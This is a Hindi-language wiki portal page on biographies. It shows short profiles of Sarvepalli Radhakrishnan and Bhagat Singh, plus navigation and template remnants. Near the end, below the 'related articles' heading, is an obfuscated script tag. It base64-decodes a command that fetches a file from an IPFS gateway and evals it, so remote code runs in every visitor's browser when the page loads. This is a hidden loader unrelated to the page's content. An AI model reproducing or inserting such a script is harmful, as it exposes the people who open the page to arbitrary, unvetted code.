प्रांगण:मुखपृष्ठ/जीवनी

भारत डिस्कवरी प्रस्तुति
Revision as of 07:18, 10 January 2011 by व्यवस्थापन (talk | contribs) (Text replace - "{{Social bookmarks}}" to "{{प्रचार}}")
Jump to navigation Jump to search
मुखपृष्ठ गणराज्य इतिहास पर्यटन साहित्य जीवनी दर्शन धर्म संस्कृति भूगोल कला भाषा सभी विषय
  • यहाँ हम भारत के प्रसिद्ध व्यक्तियों की जीवनी से संबंधित जानकारी प्राप्त कर सकते हैं।
  • किसी भी व्यक्तित्व के जीवन का वृतान्त 'जीवनी' कहलाता है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...

link=:श्रेणी:जीवनी साहित्य|जीवनी साहित्य श्रेणी के सभी लेख

center center|70px

  • महापुरुषों की जीवनियाँ हमें याद दिलाती हैं कि हम भी अपना जीवन महान बना सकते हैं और मरते समय अपने पदचिन्ह समय की बालू पर छोड़ सकते हैं।
  • प्राचीन महापुरुषों के जीवन से अपरिचित रहना जीवन-भर निरंतर बाल्यवस्था में ही रहना है।
विशेष आलेख
  • भारत रत्न सम्मानित डॉ. सर्वपल्ली राधाकृष्णन का जन्म तमिलनाडु के तिरूतनी ग्राम में, 5 सितंबर, 1888 को हुआ था।
  • राधाकृष्णन जी का जन्मदिवस आज भी पूरा राष्ट्र 'शिक्षक दिवस' के रूप में मनाता है।
  • डॉ. सर्वपल्ली राधाकृष्णन स्वतंत्र भारत के प्रथम उपराष्ट्रपति और दूसरे राष्ट्रपति थे। इन्होंने डॉ. राजेन्द्र प्रसाद की गौरवशाली परम्परा को आगे बढ़ाया।
  • डॉ. सर्वपल्ली राधाकृष्णन भारतीय संस्कृति के ज्ञानी, एक महान शिक्षाविद, महान दार्शनिक, महान वक्ता होने के साथ ही साथ विज्ञानी हिंदू विचारक थे।
  • डॉक्टर राधाकृष्णन ने अपने जीवन के 40 वर्ष एक शिक्षक के रूप मे व्ययतीत किए थे। वह एक आदर्श शिक्षक थे। सर्वपल्ली राधाकृष्णन का निधन 17 अप्रैल, 1975 को हुआ था।
  • डॉक्टर राधाकृष्णन का नाम भारत के महान राष्ट्रपतियों की प्रथम पंक्ति में सम्मिलित है। .... और पढ़ें
चयनित लेख
  • भारत के शहीद-ए-आज़म अमर शहीद सरदार भगतसिंह का नाम विश्व में 20वीं शताब्दी के अमर शहीदों में बहुत ऊँचा है।
  • भगतसिंह का जन्म 27 सितंबर, 1907 को लायलपुर, पंजाब के एक देशभक्त सिख परिवार में हुआ था।
  • भगतसिंह ने देश की आज़ादी के लिए जिस साहस के साथ शक्तिशाली ब्रिटिश सरकार का मुक़ाबला किया, वह आज के युवकों के लिए एक बहुत बड़ा आदर्श है।
  • 1928 में सांडर्स हत्याकाण्ड के वे प्रमुख नायक थे। भगतसिंह अपने देश के लिये ही जीये और उसी के लिए शहीद भी हो गये।
  • 23 मार्च, 1931 को भगतसिंह तथा उनके साथियों (सुखदेव, राजगुरु) की शहादत की ख़बर से सारा देश शोक के सागर में डूब गया। .... और पढ़ें
चयनित चित्र

300px|महात्मा गाँधी|link=महात्मा गाँधी|center


संक्षिप्त परिचय

Template:सूचना बक्सा साहित्यकार2

जीवनी श्रेणी वृक्ष


संबंधित लेख



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः